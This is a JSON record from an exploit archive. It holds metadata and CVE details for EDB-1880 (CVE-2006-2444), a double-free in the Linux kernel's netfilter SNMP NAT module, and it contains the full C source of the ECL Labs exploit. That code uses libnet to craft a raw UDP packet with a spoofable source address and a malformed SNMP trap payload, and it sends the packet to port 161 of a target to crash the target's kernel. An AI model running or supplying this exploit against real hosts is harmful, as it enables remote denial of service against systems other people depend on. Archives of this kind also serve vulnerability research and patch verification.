{"exploit":{"id":"EDB-1880","name":"Linux Kernel < 2.6.16.18 - Netfilter NAT SNMP Module Remote Denial of Service (DoS)","description":"Linux Kernel < 2.6.16.18 - Netfilter NAT SNMP Module Remote Denial of Service (DoS)","cves":["CVE-2006-2444"],"author":"ECL Labs","published":"2006-06-05","platform":"linux","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/1880","path":"exploits/linux/dos/1880.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-1880.c","vulnerabilities":[{"id":"CVE-2006-2444","state":"PUBLISHED","title":null,"titleSource":null,"description":"The snmp_trap_decode function in the SNMP NAT helper for Linux kernel before 2.6.16.18 allows remote attackers to cause a denial of service (crash) via unspecified remote attack vectors that cause failures in snmp_trap_decode that trigger (1) frees of random memory or (2) frees of previously-freed memory (double-free) by snmp_trap_decode as well as its calling function, as demonstrated via certain test cases of the PROTOS SNMP test suite.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-2444","cvss":{"version":"2.0","baseScore":7.8,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-2444"},"updatedAt":"2024-08-07T17:51:04.762Z","retrievedAt":"2026-11-26T18:07:56.600Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-1880.png?v=2","url":"https://exploitbin.com/exploits/EDB-1880","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-1880/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-1880/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n *  ecl-nf-snmpwn.c - 30/05/06\n *\n *  Alex Behar <alex@ecl-labs.org>\n *  Yuri Gushin <yuri@ecl-labs.org>\n *\n *  A patch review we did on the 2.6.16.17->18 Linux kernel source tree revealed\n * a restructuring of code in the snmp_parse_mangle() and the snmp_trap_decode()\n * functions. After further research it turned out to be a vulnerability\n * previously reported[1] and assigned with CVE-2006-2444. For more details,\n * the version change log.\n *\n *\n *\n * 1) http://kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.16.18\n *\n * --\n * Greets fly out to the ECL crew - Valentin Slavov, Dimityr Manevski.\n * To stranger, shrink, the Console Pimps crew (blexim, ex0, hugin, w00f, matt,\n * kyu, kbd and the rest), our favorite soldier boy Sagi Horev, the SigMIL crew,\n * izik, tanin00, and everyone else we left out.\n *\n * P.S. - blexim, how are your FACECRABS ???? :))))\n *\n */\n\n\n#ifndef _BSD_SOURCE\n#define _BSD_SOURCE\n#endif\n#include <stdio.h>\n#include <string.h>\n#include <time.h>\n#include <libnet.h>\n\nvoid banner();\nvoid usage(char *);\n\nchar pwnage[] = \"\\x30\\x0a\\x02\\x01\\x00\\x04\\x03\\x45\\x43\\x4c\\xa4\\x00\";\n\nint main(int argc, char **argv)\n{\n\tchar errbuf[LIBNET_ERRBUF_SIZE];\n\tlibnet_t *l;\n\tint c;\n\tu_char *buf;\n\tint packet_len = 0;\n\tstruct ip *IP;\n\tstruct udphdr *UDP;\n\tu_int32_t src = 0, dst = 0;\n\n\n\tbanner();\n\n\tif (argc < 3) usage(argv[0]);\n\n\tif ((l = libnet_init(LIBNET_RAW4, NULL, errbuf)) == NULL) {\n\t\tfprintf(stderr, \"[!] libnet_init() failed: %s\", errbuf);\n\t\texit(-1);\n\t}\n\n\tif ((src = libnet_name2addr4(l, argv[1], LIBNET_RESOLVE)) == -1) {\n\t\tfprintf(stderr, \"[!] Unresolved source address.\\n\");\n\t\texit(-1);\n\t}\n\tif ((dst = libnet_name2addr4(l, argv[2], LIBNET_RESOLVE)) == -1) {\n\t\tfprintf(stderr, \"[!] Unresolved destination address.\\n\");\n\t\texit(-1);\n\t}\n\n\tif ((buf = malloc(IP_MAXPACKET)) == NULL) {\n\t\tperror(\"malloc\");\n\t\texit(-1);\n\t}\n\n\tUDP = (struct udphdr *)(buf + LIBNET_IPV4_H);\n\n\tpacket_len = LIBNET_IPV4_H + LIBNET_UDP_H + sizeof(pwnage) - 1;\n\n\tsrand(time(NULL));\n\tIP = (struct ip *) buf;\n\tIP->ip_v    = 4;                   /* version 4 */\n\tIP->ip_hl   = 5;\t\t     /* header length */\n\tIP->ip_tos  = 0;                   /* IP tos */\n\tIP->ip_len  = htons(packet_len);   /* total length */\n\tIP->ip_id   = rand();              /* IP ID */\n\tIP->ip_off  = htons(0);            /* fragmentation flags */\n\tIP->ip_ttl  = 64;                  /* time to live */\n\tIP->ip_p    = IPPROTO_UDP;         /* transport protocol */\n\tIP->ip_sum  = 0;\n\tIP->ip_src.s_addr = src;\n\tIP->ip_dst.s_addr = dst;\n\n\tUDP->uh_sport = rand();\n\tUDP->uh_dport = (argc > 3) ? htons((u_short)atoi(argv[3])) : htons(161);\n\tUDP->uh_ulen = htons(LIBNET_UDP_H + sizeof(pwnage) - 1);\n\tUDP->uh_sum = 0;\n\n\tmemcpy(buf + LIBNET_IPV4_H + LIBNET_UDP_H, pwnage, sizeof(pwnage) - 1);\n\n\tlibnet_do_checksum(l, (u_int8_t *)buf, IPPROTO_UDP, packet_len - LIBNET_IPV4_H);\n\n\tif ((c = libnet_write_raw_ipv4(l, buf, packet_len)) == -1)\n\t{\n\t\tfprintf(stderr, \"[!] Write error: %s\\n\", libnet_geterror(l));\n\t\texit(-1);\n\t}\n\n\tprintf(\"[+] Packet sent.\\n\");\n\n\tlibnet_destroy(l);\n\tfree(buf);\n\treturn (0);\n}\n\nvoid usage(char *cmd)\n{\n\tprintf(\"[!] Usage: %s <source> <destination> [port]\\n\", cmd);\n\texit(-1);\n}\n\nvoid banner()\n{\n\tprintf(\"\\t\\tNetfilter NAT SNMP module DoS exploit\\n\"\n\t\t\t\"\\t\\t   Yuri Gushin <yuri@ecl-labs.org>\\n\"\n\t\t\t\"\\t\\t    Alex Behar <alex@ecl-labs.org>\\n\"\n\t\t\t\"\\t\\t\\t       ECL Team\\n\\n\\n\");\n}\n\n// milw0rm.com [2006-06-05]","sha256":"b6f57e0c5b5caf9afa1eccdf4f8dc94248dd7a85503ea4d92f76839850b1ea0c","bytes":3385,"fetchedAt":"2026-11-26T18:07:51.341Z","encoding":"utf-8 (display only; download retains original bytes)"}